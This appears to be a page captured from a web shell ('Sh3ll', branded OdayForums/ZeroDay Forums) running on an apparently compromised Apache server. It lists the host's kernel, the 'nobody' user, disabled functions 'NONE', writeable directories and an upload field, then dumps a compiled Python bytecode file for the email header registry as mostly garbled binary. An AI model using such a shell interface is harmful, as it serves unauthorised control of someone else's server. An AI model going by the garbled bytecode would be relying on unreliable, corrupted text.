Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /opt/alt/python311/lib64/python3.11/email/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python311/lib64/python3.11/email/__pycache__/headerregistry.cpython-311.opt-2.pyc
�

�,dSQ���	ddlmZddlmZddlmZddlmZGd�d��ZGd�d��ZGd	�d
e	��Z
d�ZGd�d
��ZGd�de��Z
Gd�d��ZGd�de��ZGd�d��ZGd�de��ZGd�de��ZGd�de��ZGd�d��ZGd�d��ZGd �d!e��ZGd"�d#e��ZGd$�d%��ZGd&�d'��Zid(e
�d)e�d*e�d+e�d,e�d-e�d.e�d/e�d0e�d1e�d2e�d3e�d4e�d5e�d6e�d7e�d8e�eeed9��ZGd:�d;��Zd<S)=�)�MappingProxyType)�utils)�errors)�_header_value_parserc��eZdZdd�Zed���Zed���Zed���Zed���Zd�Z	d	�Z
d
�ZdS)�Address�Nc	��	d�td||||f����}d|vsd|vrtd���|�q|s|rtd���t	j|��\}}|r#td�||�����|jr
|jd�|j}|j	}||_
||_||_dS)Nr	�
�
z8invalid arguments; address parts cannot contain CR or LFz=addrspec specified when username and/or domain also specifiedz6Invalid addr_spec; only '{}' could be parsed from '{}'r)
�join�filter�
ValueError�	TypeError�parser�
get_addr_spec�format�all_defects�
local_part�domain�
_display_name�	_username�_domain)�self�display_name�usernamer�	addr_spec�inputs�a_s�rests        �;/opt/alt/python311/lib64/python3.11/email/headerregistry.py�__init__zAddress.__init__s��	� �����|�X�v�y�&Q�R�R�S�S���6�>�>�T�V�^�^��W�X�X�X�� ��
9�6�
9��!8�9�9�9��,�Y�7�7�I�C���
5� �"=�=C�V�$'��>4�>4�5�5�5���
)��o�a�(�(��~�H��Z�F�)���!��������c��|jS�N�r�rs r!rzAddress.display_name8����!�!r#c��|jSr%)rr's r!rzAddress.username<�
���~�r#c��|jSr%)rr's r!rzAddress.domain@�
���|�r#c��	|j}tj�|��stj|��}|jr
|dz|jzS|sdS|S)N�@�<>)rr�
DOT_ATOM_ENDS�
isdisjoint�quote_stringr)r�lps  r!rzAddress.addr_specDsf��	��]���#�.�.�r�2�2�	)��$�R�(�(�B��;�	*���8�d�k�)�)��	��4��	r#c�d�d�|jj|j|j|j��S)Nz1{}(display_name={!r}, username={!r}, domain={!r}))r�	__class__�__name__rrrr's r!�__repr__zAddress.__repr__Rs3��B�I�I���/��)�4�=�$�+�G�G�	Gr#c���|j}tj�|��stj|��}|r*|jdkrdn|j}d�||��S|jS)Nr/r	z{} <{}>)rr�SPECIALSr1r2rr)r�disprs   r!�__str__zAddress.__str__Wso��� ����)�)�$�/�/�	-��&�t�,�,�D��	5�"�n�d�2�2�����I��#�#�D�)�4�4�4��~�r#c��t|t��stS|j|jko|j|jko|j|jkSr%)�
isinstancer�NotImplementedrrr�r�others  r!�__eq__zAddress.__eq__`sO���%��)�)�	"�!�!��!�U�%7�7�,��
���/�,���u�|�+�	-r#)r	r	r	N)r6�
__module__�__qualname__r"�propertyrrrrr7r;rA�r#r!rrs�������(�(�(�(�T�"�"��X�"�����X������X������X��G�G�G�
���-�-�-�-�-r#rc�T�eZdZdd�Zed���Zed���Zd�Zd�Zd�Z	dS)	�GroupNc�^�	||_|rt|��n
t��|_dSr%)r�tuple�
_addresses)rr�	addressess   r!r"zGroup.__init__js2��
	�*���.7�D�%�	�*�*�*�U�W�W����r#c��|jSr%r&r's r!rzGroup.display_name|r(r#c��|jSr%)rJr's r!rKzGroup.addresses�s
����r#c�X�d�|jj|j|j��S)Nz${}(display_name={!r}, addresses={!r})rr5r6rrKr's r!r7zGroup.__repr__�s,��5�<�<���(��"�D�N�4�4�	4r#c�r�|j�2t|j��dkrt|jd��S|j}|�3tj�|��st	j|��}d�d�|jD����}|rd|zn|}d�	||��S)N�r�, c3�4K�|]}t|��V��dSr%��str)�.0�xs  r!�	<genexpr>z Group.__str__.<locals>.<genexpr>�s(����:�:�a�3�q�6�6�:�:�:�:�:�:r#� z{}:{};)
r�lenrKrTrr9r1r2r
r)rr:�adrstrs   r!r;z
Group.__str__�s�����$��T�^�)<�)<�a�)?�)?��t�~�a�(�)�)�)�� ����F�O�$>�$>�t�$D�$D���&�t�,�,�D����:�:�4�>�:�:�:�:�:��!'�3��v���V�����t�V�,�,�,r#c�z�t|t��stS|j|jko|j|jkSr%)r=rGr>rrKr?s  r!rAzGroup.__eq__�s>���%��'�'�	"�!�!��!�U�%7�7�2���%�/�1�	3r#)NN)
r6rBrCr"rDrrKr7r;rArEr#r!rGrGhs�������E�E�E�E�$�"�"��X�"�����X��4�4�4�
-�-�-�3�3�3�3�3r#rGc�j�eZdZ	d�Zd�Zed���Zed���Zd�Ze	d���Z
d�ZdS)	�
BaseHeaderc��dgi}|�||��tj|d��rtj|d��|d<t�||d��}|d=|j|fi|��|S)N�defects�decoded)�parser�_has_surrogates�	_sanitizerT�__new__�init)�cls�name�value�kwdsrs     r!rdzBaseHeader.__new__�s����2����	�	�%������ ��i��1�1�	?�#�o�d�9�o�>�>�D��O��{�{�3��Y��0�0����O���	�$���$�����r#c�0�||_||_||_dSr%)�_name�_parse_tree�_defects)rrg�
parse_treer_s    r!rezBaseHeader.init�s����
�%�����
�
�
r#c��|jSr%)rkr's r!rgzBaseHeader.name�s
���z�r#c�*�t|j��Sr%)rIrmr's r!r_zBaseHeader.defects�s���T�]�#�#�#r#c��t|jj|jjt	|��f|���fSr%)�_reconstruct_headerr5r6�	__bases__rT�__getstate__r's r!�
__reduce__zBaseHeader.__reduce__�s>�����'���(��D�	�	�
�

�����!�	!r#c�8�t�||��Sr%)rTrd)rfrhs  r!�_reconstructzBaseHeader._reconstruct�s���{�{�3��&�&�&r#c	��	tjtjtj|jd��tjdd��g��g��}|jr;|�tjtjdd��g����|�|j��|�	|���S)Nzheader-name�:z
header-seprX�fws)�policy)
r�Header�HeaderLabel�
ValueTerminalrgrl�append�CFWSList�WhiteSpaceTerminal�fold)rr{�headers   r!r�zBaseHeader.fold�s���	� �����$�T�Y�
�>�>��$�S�,�7�7� 9�
:�
:� ����
��	J��M�M����!:�3��!F�!F� G�H�H�
J�
J�
J��
�
�d�&�'�'�'��{�{�&�{�)�)�)r#N)r6rBrCrdrerDrgr_ru�classmethodrwr�rEr#r!r]r]�s��������@��� � � �
����X���$�$��X�$�!�!�!��'�'��[�'�*�*�*�*�*r#r]c�J�t||i���|��Sr%)�typerw)�cls_name�basesrhs   r!rrrrs"����%��$�$�1�1�%�8�8�8r#c�H�eZdZdZeej��Zed���Z	dS)�UnstructuredHeaderNc�f�|�|��|d<t|d��|d<dS)Nrnr`)�value_parserrT�rfrhris   r!razUnstructuredHeader.parse	s4�� �-�-�e�4�4��\���d�<�0�1�1��Y���r#)
r6rBrC�	max_count�staticmethodr�get_unstructuredr�r�rarEr#r!r�r�sD�������I��<�� 7�8�8�L��2�2��[�2�2�2r#r�c��eZdZdZdS)�UniqueUnstructuredHeaderrPN�r6rBrCr�rEr#r!r�r���������I�I�Ir#r�c�p��eZdZ	dZeej��Zed���Z	�fd�Z
ed���Z�xZ
S)�
DateHeaderNc�8�|sN|d�tj����d|d<d|d<tj��|d<dSt|t��rt||d<	tj|��}nY#t$rL|d�tj
d����d|d<tj��|d<YdSwxYw||d<tj|d��|d<|�|d��|d<dS)Nr_�datetimer	r`rnzInvalid date value or format)
rr�HeaderMissingRequiredValuer�	TokenListr=rTr�parsedate_to_datetimer�InvalidDateDefect�format_datetimer�r�s   r!razDateHeader.parse$s2���	���O�"�"�6�#D�#F�#F�G�G�G�#�D��� �D��O�!'�!1�!3�!3�D����F��e�S�!�!�	�#�D��O�
��3�E�:�:�����
�
�
��Y��&�&�v�'?�@^�'_�'_�`�`�`�#'��Z� �%+�%5�%7�%7��\�"����	
����
!��Z���/��Z�0@�A�A��Y�� �-�-�d�9�o�>�>��\���s�,B�AC�Cc�n��|�d��|_t��j|i|��dS)Nr�)�pop�	_datetime�superre�r�args�kwr5s   �r!rezDateHeader.init9s7������
�+�+��������d�!�b�!�!�!�!�!r#c��|jSr%)r�r's r!r�zDateHeader.datetime=r*r#)r6rBrCr�r�rr�r�r�rarerDr��
__classcell__�r5s@r!r�r�s����������I� �<�� 7�8�8�L��?�?��[�?�("�"�"�"�"�����X�����r#r�c��eZdZdZdS)�UniqueDateHeaderrPNr�rEr#r!r�r�Br�r#r�c�z��eZdZdZed���Zed���Z�fd�Ze	d���Z
e	d���Z�xZS)�
AddressHeaderNc�4�tj|��\}}|Sr%)r�get_address_list)rh�address_lists  r!r�zAddressHeader.value_parserKs��$�5�e�<�<���e��r#c��t|t��rr|�|��x|d<}g}|jD]9}|�t|jd�|jD�������:t|j	��}n!t|d��s|g}d�|D��}g}||d<||d<d�d�|D����|d	<d|vr |�|d	��|d<dSdS)
Nrnc�Z�g|](}t|jpd|jpd|jpd����)S)r	)rrrr)rU�mbs  r!�
<listcomp>z'AddressHeader.parse.<locals>.<listcomp>ZsV��%C�%C�%C�*,�&-�R�_�-B��-/�]�-@�b�-/�Y�_�"�&>�&>�%C�%C�%Cr#�__iter__c�T�g|]%}t|d��std|g��n|��&S)rKN)�hasattrrG�rU�items  r!r�z'AddressHeader.parse.<locals>.<listcomp>csK��7�7�7�(,�29��{�1K�1K�4�e�D�4�&�)�)�)�/3�7�7�7r#�groupsr_rQc�,�g|]}t|����SrErSr�s  r!r�z'AddressHeader.parse.<locals>.<listcomp>is��$B�$B�$B�4�S��Y�Y�$B�$B�$Br#r`)r=rTr�rKrrGr�
all_mailboxes�listrr�r
)rfrhrir�r��addrr_s       r!razAddressHeader.parseQsc���e�S�!�!�	�14�0@�0@��0G�0G�G�D�����F�$�.�
E�
E���
�
�e�D�$5�%C�%C�04�/A�%C�%C�%C�D�D�E�E�E�E�
�<�3�4�4�G�G��5�*�-�-�
 ����7�7�05�7�7�7�F��G���X��!��Y���)�)�$B�$B�6�$B�$B�$B�C�C��Y���t�#�#�!$�!1�!1�$�y�/�!B�!B�D�����$�#r#c���t|�d����|_d|_t	��j|i|��dS)Nr�)rIr��_groupsrJr�rer�s   �r!rezAddressHeader.initmsF����R�V�V�H�-�-�.�.�����������d�!�b�!�!�!�!�!r#c��|jSr%)r�r's r!r�zAddressHeader.groupsrr,r#c�d�|j�#td�|jD����|_|jS)Nc3�.K�|]}|jD]}|V���dSr%)rK)rU�group�addresss   r!rWz*AddressHeader.addresses.<locals>.<genexpr>ysW����$L�$L��;@�?�$L�$L�07�%,�$L�$L�$L�$L�$L�$L�$Lr#)rJrIr�r's r!rKzAddressHeader.addressesvsG���?�"�#�$L�$L���$L�$L�$L�L�L�D�O���r#)
r6rBrCr�r�r�r�rarerDr�rKr�r�s@r!r�r�Gs���������I�����\��
�C�C��[�C�6"�"�"�"�"�
����X������X�����r#r�c��eZdZdZdS)�UniqueAddressHeaderrPNr�rEr#r!r�r�~r�r#r�c�$�eZdZed���ZdS)�SingleAddressHeaderc��t|j��dkr'td�|j�����|jdS)NrPz9value of single address header {} is not a single addressr)rYrKrrrgr's r!r�zSingleAddressHeader.address�sJ���t�~����!�!��#�$*�F�4�9�$5�$5�7�7�
7��~�a� � r#N)r6rBrCrDr�rEr#r!r�r��s-������
�!�!��X�!�!�!r#r�c��eZdZdZdS)�UniqueSingleAddressHeaderrPNr�rEr#r!r�r��r�r#r�c���eZdZdZeej��Zed���Z	�fd�Z
ed���Zed���Z
ed���Z�xZS)�MIMEVersionHeaderrPc�>�|�|��x|d<}t|��|d<|d�|j��|j�dn|j|d<|j|d<|j�'d�|d|d��|d<dSd|d<dS)Nrnr`r_�major�minorz{}.{}�version)r�rT�extendrr�r�r�rfrhrirns    r!razMIMEVersionHeader.parse�s���*-�*:�*:�5�*A�*A�A��\��Z��j�/�/��Y���Y����z�5�6�6�6� *� 0� 8���j�>N��W�
�"�(��W�
���'�%�n�n�T�'�]�D��M�J�J�D��O�O�O�"�D��O�O�Or#c����|�d��|_|�d��|_|�d��|_t	��j|i|��dS)Nr�r�r�)r��_version�_major�_minorr�rer�s   �r!rezMIMEVersionHeader.init�sY������y�)�)��
��f�f�W�o�o����f�f�W�o�o��������d�!�b�!�!�!�!�!r#c��|jSr%)r�r's r!r�zMIMEVersionHeader.major��
���{�r#c��|jSr%)r�r's r!r�zMIMEVersionHeader.minor�r�r#c��|jSr%)r�r's r!r�zMIMEVersionHeader.version��
���}�r#)r6rBrCr�r�r�parse_mime_versionr�r�rarerDr�r�r�r�r�s@r!r�r��s���������I��<�� 9�:�:�L��	#�	#��[�	#�"�"�"�"�"�����X������X������X�����r#r�c�N��eZdZdZed���Z�fd�Zed���Z�xZ	S)�ParameterizedMIMEHeaderrPc���|�|��x|d<}t|��|d<|d�|j��|j�i|d<dSd�|jD��|d<dS)Nrnr`r_�paramsc��i|]>\}}tj|�����tj|����?SrE)rrc�lower)rUrgrhs   r!�
<dictcomp>z1ParameterizedMIMEHeader.parse.<locals>.<dictcomp>�sU��E�E�E�#.�4��$�o�d�3�3�9�9�;�;�$)�O�E�$:�$:�E�E�Er#)r�rTr�rr�r�s    r!razParameterizedMIMEHeader.parse�s���*-�*:�*:�5�*A�*A�A��\��Z��j�/�/��Y���Y����z�5�6�6�6���$��D��N�N�N�E�E�2<�2C�E�E�E�D��N�N�Nr#c�n��|�d��|_t��j|i|��dS)Nr�)r��_paramsr�rer�s   �r!rezParameterizedMIMEHeader.init�s7����v�v�h�'�'��������d�!�b�!�!�!�!�!r#c�*�t|j��Sr%)rr�r's r!r�zParameterizedMIMEHeader.params�s�����-�-�-r#)
r6rBrCr�r�rarerDr�r�r�s@r!r�r��sv�������
�I��
E�
E��[�
E�"�"�"�"�"��.�.��X�.�.�.�.�.r#r�c���eZdZeej��Z�fd�Zed���Z	ed���Z
ed���Z�xZS)�ContentTypeHeaderc����t��j|i|��tj|jj��|_tj|jj��|_dSr%)	r�rerrcrl�maintype�	_maintype�subtype�_subtyper�s   �r!rezContentTypeHeader.init�sP��������d�!�b�!�!�!����)9�)B�C�C������(8�(@�A�A��
�
�
r#c��|jSr%)r�r's r!r�zContentTypeHeader.maintype�r*r#c��|jSr%)r�r's r!r�zContentTypeHeader.subtype�r�r#c�&�|jdz|jzS)N�/)r�r�r's r!�content_typezContentTypeHeader.content_type�s���}�s�"�T�\�1�1r#)
r6rBrCr�r�parse_content_type_headerr�rerDr�r�r�r�r�s@r!r�r��s���������<�� @�A�A�L�B�B�B�B�B�
����X������X���2�2��X�2�2�2�2�2r#r�c�T��eZdZeej��Z�fd�Zed���Z	�xZ
S)�ContentDispositionHeaderc���t��j|i|��|jj}|�|nt	j|��|_dSr%)r�rerl�content_dispositionrrc�_content_disposition)rr�r��cdr5s    �r!rezContentDispositionHeader.init�sI��������d�!�b�!�!�!�
�
�
1��*,�*�B�B�%�/�"�:M�:M��!�!�!r#c��|jSr%)r�r's r!r�z,ContentDispositionHeader.content_disposition�s���(�(r#)r6rBrCr�r� parse_content_disposition_headerr�rerDr�r�r�s@r!r�r��sj��������<�� G�H�H�L�N�N�N�N�N�
�)�)��X�)�)�)�)�)r#r�c�n��eZdZdZeej��Zed���Z	�fd�Z
ed���Z�xZ
S)�ContentTransferEncodingHeaderrPc��|�|��x|d<}t|��|d<|d�|j��dS�Nrnr`r_�r�rTr�rr�s    r!raz#ContentTransferEncodingHeader.parse��O��*-�*:�*:�5�*A�*A�A��\��Z��j�/�/��Y���Y����z�5�6�6�6�6�6r#c���t��j|i|��tj|jj��|_dSr%)r�rerrcrl�cte�_cter�s   �r!rez"ContentTransferEncodingHeader.inits9��������d�!�b�!�!�!��O�D�$4�$8�9�9��	�	�	r#c��|jSr%)rr's r!rz!ContentTransferEncodingHeader.ctes
���y�r#)r6rBrCr�r�r�&parse_content_transfer_encoding_headerr�r�rarerDrr�r�s@r!r�r��s���������I��<�� M�N�N�L��7�7��[�7�
:�:�:�:�:�����X�����r#r�c�H�eZdZdZeej��Zed���Z	dS)�MessageIDHeaderrPc��|�|��x|d<}t|��|d<|d�|j��dSr�rr�s    r!razMessageIDHeader.parserr#N)
r6rBrCr�r�r�parse_message_idr�r�rarEr#r!rr
sD�������I��<�� 7�8�8�L��7�7��[�7�7�7r#r�subject�datezresent-datez	orig-date�senderz
resent-sender�toz	resent-to�ccz	resent-cc�bccz
resent-bcc�fromzresent-fromzreply-tozmime-versionzcontent-type)zcontent-dispositionzcontent-transfer-encodingz
message-idc�0�eZdZ	eedfd�Zd�Zd�Zd�ZdS)�HeaderRegistryTc�x�	i|_||_||_|r!|j�t��dSdSr%)�registry�
base_class�
default_class�update�_default_header_map)rrr�use_default_maps    r!r"zHeaderRegistry.__init__6sN��		���
�$���*����	6��M� � �!4�5�5�5�5�5�	6�	6r#c�@�	||j|���<dSr%)rr��rrgrfs   r!�map_to_typezHeaderRegistry.map_to_typeHs#��	�'*��
�d�j�j�l�l�#�#�#r#c��|j�|���|j��}t	d|jz||jfi��S)N�_)r�getr�rr�r6rrs   r!�__getitem__zHeaderRegistry.__getitem__NsD���m����
�
���d�.@�A�A���C���$�s�D�O�&<�b�A�A�Ar#c�(�	||||��Sr%rE)rrgrhs   r!�__call__zHeaderRegistry.__call__Rs��	��t�D�z�$��&�&�&r#N)	r6rBrCr]r�r"rr!r#rEr#r!rr2sd������/�",�<N�'+�6�6�6�6�$*�*�*�B�B�B�
'�
'�
'�
'�
'r#rN)�typesr�emailrrrrrrGrTr]rrr�r�r�r�r�r�r�r�r�r�r�r�r�rrrrEr#r!�<module>r&s]���
#�"�"�"�"�"�������������0�0�0�0�0�0�Y-�Y-�Y-�Y-�Y-�Y-�Y-�Y-�x/3�/3�/3�/3�/3�/3�/3�/3�ha*�a*�a*�a*�a*��a*�a*�a*�H9�9�9�2�2�2�2�2�2�2�2������1����
+�+�+�+�+�+�+�+�\�����z����
4�4�4�4�4�4�4�4�n�����-����
!�!�!�!�!�-�!�!�!������ 3����
"�"�"�"�"�"�"�"�J.�.�.�.�.�.�.�.�:2�2�2�2�2�/�2�2�2�,)�)�)�)�)�6�)�)�)���������*	7�	7�	7�	7�	7�	7�	7�	7��
�$<��
�$4���J���$4�	�

�$=���$7�
�	�$7���M��	�$7���M��
�$7���M���$7���M���$7�� �$5�!�"�$5�#�$%=�$A�$3�)����.*'�*'�*'�*'�*'�*'�*'�*'�*'�*'r#

ZeroDay Forums Mini